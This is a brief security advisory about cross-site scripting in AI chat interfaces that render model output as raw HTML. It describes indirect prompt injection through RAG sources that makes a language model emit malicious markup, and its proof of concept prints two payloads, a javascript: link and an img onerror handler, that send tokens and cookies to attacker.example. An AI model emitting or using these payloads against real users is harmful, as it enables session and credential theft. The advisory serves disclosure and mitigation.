GHSA-vr42-692h-pmm6: 
Python vulnerability analysis and mitigation

Summary

An Improper Neutralization of Input During Web Page Generation ('Cross-Site Scripting', CWE-79) vulnerability in AI Chat Markdown/HTML renderers allows remote attackers (via indirect prompt injection in RAG sources) to execute arbitrary JavaScript in the victim's browser session by injecting <img src=x onerror=...> or javascript: links into LLM responses rendered with innerHTML / dangerouslySetInnerHTML.

Proof of Concept (PoC)

[Click to view source](javascript:fetch('https://attacker.example/steal?t='+localStorage.getItem('token')))
<img src="x" onerror="fetch('https://attacker.example/steal?c='+document.cookie)">

Remediation

Sanitize all rendered Markdown HTML through DOMPurify with strict tag/attribute allowlists and block javascript: / data: URI schemes.